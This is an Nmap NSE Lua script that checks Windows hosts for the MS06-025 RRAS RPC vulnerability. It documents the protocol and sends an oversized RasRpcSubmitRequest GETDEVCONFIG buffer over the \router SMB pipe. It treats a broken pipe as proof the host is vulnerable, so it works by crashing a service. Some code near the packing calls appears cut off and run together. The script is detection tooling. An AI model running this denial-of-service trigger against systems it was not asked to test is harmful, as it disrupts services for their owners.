description = [[ Checks for ms06_025 vulnerability. The target of this vulnerability is the Microsoft Windows Remote Routing and Access Service which provides an RPC interface for remote management (configuration and monitoring) of an RRAS implementation. RRAS implementation includes configuration methods for: * Routing * Remote access * Site to site connectivity RRAS is remotely accessible across the RRAS Management protocol (RRASM). The RRASM protocol is a client-server protocol based on remote procedure call (RPC). It comprises RPC methods that enable the remote management of an RRAS implementation. It is defined in [5]. The RRASM client and server interact with each other using RPC interfaces. There are two RPC interfaces supported by RRASM: * DIMSVC * RASRPC RRASM uses RPC over named pipes, with the named pipe-name as \PIPE\ROUTER. The protocol MUST use the following UUID for the RPC interfaces. * uuid = 8f09f000-b7ed-11ce-bbd2-00001a181cad for the DIMSVC interface * uuid = 20610036-fa22-11cf-9823-00a0c911e5df for the RASRPC interface This vulnerability targets the RasRpcSubmitRequest method within the RASRPC interface. Vulnerability identifications: * CVE-2006-2370 * OSVDB-26437 * BID-18325 * MS06-025 Detailed description: MS06-025 vulnerability targets the RasRpcSumbitRequest() RPC method which is a part of RASRPC interface that serves as a RPC service for configuring and getting information from the Remote Access and Routing service. RASRPC can be accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on WinXP machines). This is in RPC world known as "ncan_np" RPC transport. RasRpcSumbitRequest() method is a generic method which provides different functionalities according to the RequestBuffer structure and particulary the RegType field within that structure. RegType field is of enum ReqTypes type. This enum type lists all the different available operation that can be performed using the RasRpcSubmitRequest() RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG request to get device information on the RRAS. Affected Software [6]: * Microsoft Windows 2000 Service Pack 4 * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 * Microsoft Windows XP Professional x64 Edition * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1 * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems * Microsoft Windows Server 2003 x64 Edition — Download the update Metasploit has a stable and working exploit for this vulnerability (ms06_025_rras). Full IDL specification for RASRPC and DIMSVC interfaces are provided with [5]. Security consideration for RASRPC interface: * The RPC server MUST allow only clients that are part of the administrators group on the server. Notes: [1] Samba doesn't have an IDL for RRASM service. [2] Naming conventions I used are the ones I found in "References", so when anyone tries to read my code it can find similarities with the references. References: [1] The Open Group, "DCE 1.1: Remote Procedure Call", C706, http://www.opengroup.org/public/pubs/catalog/c706.htm. [2] [MS-DTYP] Microsoft Corporation, "Windows Data Types". [3] [MS-ERREF] Microsoft Corporation, "Windows Error Codes". [4] [MS-RPCE] Microsoft Corporation, "Remote Procedure Call Protocol Extensions". [5] [MS-RRASM] Microsoft Corporation, "Routing and Remote Access Server (RRAS) Management Protocol Specification" [6] [MS06-025] http://www.microsoft.com/technet/security/bulletin/ms06-025.mspx Tested on: [1] Microsoft Windows 2000 (no SPs) [2] Microsoft Windows 2000 SP4 Terms used: [1] Blob - a binary representation of an object. An object could be a simple data type such as an integer or a string. For example a two byte blob representing number 7 would be "0x0007". LUA blob is of string type. Blob is neither processed nor intepreted, it's raw data. ]] dependencies = { "smb-brute", "smb-enum-sessions", "smb-security-mode", "smb-enum-shares", "smb-server-stats", "smb-enum-domains", "smb-enum-users", "smb-system-info", "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", "smb-psexec", }; --- -- @usage -- nmap --script="smb-check-ms06_025" [--script-args="smbuser=admin, smbpass=nimda"] -- @args smbuser Username used to login to a SMB session. Most commonly a given user must have --administration privileges to successfuly triger the vulnerability. -- @args smbpass Password used to login to a SMB session. -- @output -- Host script results: --|_./smb-check-ms06_025.nse: MS06_025 alive!!! categories = {"intrusive","exploit","dos","vuln"} author = {"Drazen Popovic"} license = "Same as Nmap--See http://nmap.org/book/man-legal.html" require("msrpc") require("msrpctypes") require("bin") require("smb") require("smbauth") hostrule = function(host) return smb.get_port(host) ~= nil end action = function(host, port) local check_result check_result = check_ms06_025(host) if(check_result == true) then return "MS06_025 alive!!!" else return false end end --- Check the existence of ms06_025 vulnerability in Microsoft Remote Routing --and Access Service. -- @param host Host object- -- @return status --* status == true -> Vulnerability exists on the remote host. --* status == false -> Vulnerability does not exist on the remote host. function check_ms06_025(host) --create the SMB session local status, smbstate status, smbstate = msrpc.start_smb(host, ROUTER_PATH) if(status == false) then return false end --bind to RRAS service local bind_result status, bind_result = msrpc.bind(smbstate, RASRPC_UUID, RASRPC_VERSION, nil) if(status == false) then msrpc.stop_smb(smbstate) return false end local req, buff, sr_result req = RRAS_marshall_RequestBuffer( 0x01, RRAS_RegTypes['GETDEVCONFIG'], random_crap(3000)) status, sr_result = RRAS_SubmitRequest(smbstate, req) --sanity check if(status == false) then stdnse.print_debug( 3, "check_ms06_025: RRAS_SubmitRequest failed") msrpc.stop_smb(smbstate) if(sr_result == "NT_STATUS_PIPE_BROKEN") then return true else return false end else return false end end --####################################################################-- --# 1) RRAS RASRPC INTERFACE --####################################################################-- ROUTER_PATH = "\\router" --also can be reached across "\\srvsvc" pipe in WinXP RASRPC_UUID = string.char(0x36, 0x00, 0x61, 0x20, 0x22, 0xfa, 0xcf, 0x11, 0x98, 0x23, 0x00, 0xa0, 0xc9, 0x11, 0xe5, 0xdf) RASRPC_VERSION = 1 --####################################################################-- --# 2) RRAS RASRPC TYPES --####################################################################-- --####################################################################-- --typedef enum _ReqTypes{ -- REQTYPE_PORTENUM = 21,//Request to enumerate all the port information on the RRAS. -- REQTYPE_GETINFO = 22,//Request to get information about a specific port on the RRAS. -- REQTYPE_GETDEVCONFIG = 73,//Request to get device information on the RRAS. -- REQTYPE_SETDEVICECONFIGINFO = 94,//Request to set device configuration information on RRAS. -- REQTYPE_GETDEVICECONFIGINFO = 95,//Request to get device configuration information on RRAS. -- REQTYPE_GETCALLEDID = 105,//Request to get CalledId information for a specific device on RRAS. -- REQTYPE_SETCALLEDID = 106,//Request to set CalledId information for a specific device on RRAS. -- REQTYPE_GETNDISWANDRIVERCAPS = 111//Request to get the encryption capabilities of the RRAS. --} ReqTypes; --- The ReqTypes enumerations indicate the different types of message requests that can be passed in --the RB_ReqType field of RequestBuffer structure. -- @see [MS-RRASM] 2.2.1.1.18 ReqTypes --####################################################################-- RRAS_RegTypes = {} RRAS_RegTypes['PORTENUM'] = 21 RRAS_RegTypes['GETINFO'] = 22 RRAS_RegTypes['GETDEVCONFIG'] = 73 RRAS_RegTypes['SETDEVICECONFIGINFO'] = 94 RRAS_RegTypes['GETDEVICECONFIGINFO'] = 95 RRAS_RegTypes['GETCALLEDID'] = 105 RRAS_RegTypes['SETCALLEDID'] = 106 RRAS_RegTypes['GETNDISWANDRIVERCAPS'] = 111 --####################################################################-- --typedef struct _RequestBuffer { -- DWORD RB_PCBIndex;//A unique identifier for the port. -- ReqTypes RB_Reqtype;//A ReqTypes enumeration value indicating the request type sent to the server. -- DWORD RB_Dummy;//MUST be set to the size of the ULONG_PTR on the client. -- DWORD RB_Done;//MBZ -- LONGLONG Alignment;//MBZ -- BYTE RB_Buffer[1];//variable size --} RequestBuffer; --- The RequestBuffer is a generic information container used by the RasRpcSubmitRequest --method to set or retrieve information on RRAS server. This method performs --serialization of RequestBuffer structure. -- @return Returns a blob of RequestBuffer structure. -- @note This structure is not an IDL specification and as such is not translated into NDR. -- @see [MS-RRASM] 2.2.1.2.218 RequestBuffer --####################################################################-- function RRAS_marshall_RequestBuffer(RB_PCBIndex, RB_ReqType, RB_Buffer) local rb_blob RB_Dummy = 4 RB_Done = 0 Alignment = 0 rb_blob = bin.pack("3.3.4 Message Processing Events and Sequencing Rules --####################################################################-- RRAS_Opnums = {} RRAS_Opnums["RasRpcDeleteEntry"] = 5 RRAS_Opnums["RasRpcGetUserPreferences"] = 9 RRAS_Opnums["RasRpcSetUserPreferences"] = 10 RRAS_Opnums["RasRpcGetSystemDirectory"] = 11 RRAS_Opnums["RasRpcSubmitRequest"] = 12 RRAS_Opnums["RasRpcGetInstalledProtocolsEx"] = 14 RRAS_Opnums["RasRpcGetVersion"] = 15 --####################################################################-- --DWORD RasRpcSubmitRequest( -- [in] handle_t hServer,//An RPC binding handle. (not send) -- [in, out, unique, size_is(dwcbBufSize)] PBYTE pReqBuffer,//A pointer to a buffer of size dwcbBufSize. -- [in] DWORD dwcbBufSize//Size in byte of pReqBuffer. --); ---The RasRpcSubmitRequest method retrieves or sets the configuration data on RRAS server. -- @param smbstate The smb object. -- @param pReqBuffer The buffer MUST be large enough to hold the RequestBuffer --structure and RequestBuffer.RB_Buffer data. RequestBuffer.RB_Reqtype --specifies the request type which will be processed by the server and --RequestBuffer.RB_Buffer specifies the structure specific to RB_Reqtype --to be processed. RequestBuffer.RB_PCBIndex MUST be set to the unique port identifier --whose information is sought for ReqTypes REQTYPE_GETINFO and REQTYPE_GETDEVCONFIG. --For other valid ReqTypes, RequestBuffer.RB_PCBIndex MUST be set to zero. -- @param dwcbBufSize Integer representing the size of pRegBuffer in bytes. -- @return (status, result) --* status == true -> result is a blob that represent a pRegBuffer . --* status == false -> result is a error message that caused the fuzz. -- @see [MS-RRASM] 3.3.4.5 RasRpcSubmitRequest (Opnum 12) --####################################################################-- function RRAS_SubmitRequest(smbstate, pReqBuffer, dwcbBufSize) --sanity check if(dwcbBufSize == nil) then dwcbBufSize = string.len(pReqBuffer) end --pack the request local req_blob --[in, out, unique, size_is(dwcbBufSize) PBYTE pReqBuffer, req_blob = bin.pack("status == true -> result is an integer representing interfce version. --* status == false -> result is a error message that caused the fuzz. -- @note While trying to execute this RPC procedure server responded with an error indicating that --the operation numbers is out of range. If anyone finds out the deal with this please let me know. -- @see [MS-RRASM] 3.3.4.3 RasRpcGetVersion (Opnum 15) --####################################################################-- function RRAS_GetVersion(smbstate) --sanity check --pack the request local req_blob --[in, out, ref] LPDWORD pdwVersion req_blob = msrpctypes.marshall_int32(0) --any value will do --call the function local status, result status, result = msrpc.call_function( smbstate, RRAS_Opnums["RasRpcGetVersion"], req_blob) --sanity check if(status == false) then stdnse.print_debug( RRAS_DEBUG_LVL, "RRAS_GetVersion: Call function failed: %s", result) return false, result end --dissect the reply local rep_blob, version, pos rep_blob = result --[in, out, ref] LPDWORD pdwVersion pos, version = msrpctypes.unmarshall_int32(rep_blob) return true, version end --####################################################################-- --# UTILITY --###################################################################-- --####################################################################-- ---Makes a pad for alignment -- @param data Data which needs to be padded for the sake of alignment. -- @param align Integer representing the alignment boundary. -- @param pad_byte The value for pad byte. -- @return Returns the amount of pad calculated by (align-datalen%align)%align. --####################################################################-- function get_pad(data, align, pad_byte) pad_byte = pad_byte or "\00" return string.rep(pad_byte, (align-string.len(data)%align)%align) end --####################################################################-- ---Generates a random string of the requested length. --@param length The length of the string to return. --@param set The set of letters to choose from. Default: ASCII letters and numbers --@return The random string. --####################################################################-- function random_crap(length, charset) charset = charset or "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY" local random_str = "" for i = 1, length, 1 do local random = math.random(#charset) random_str = random_str .. string.sub(charset, random, random) end return random_str end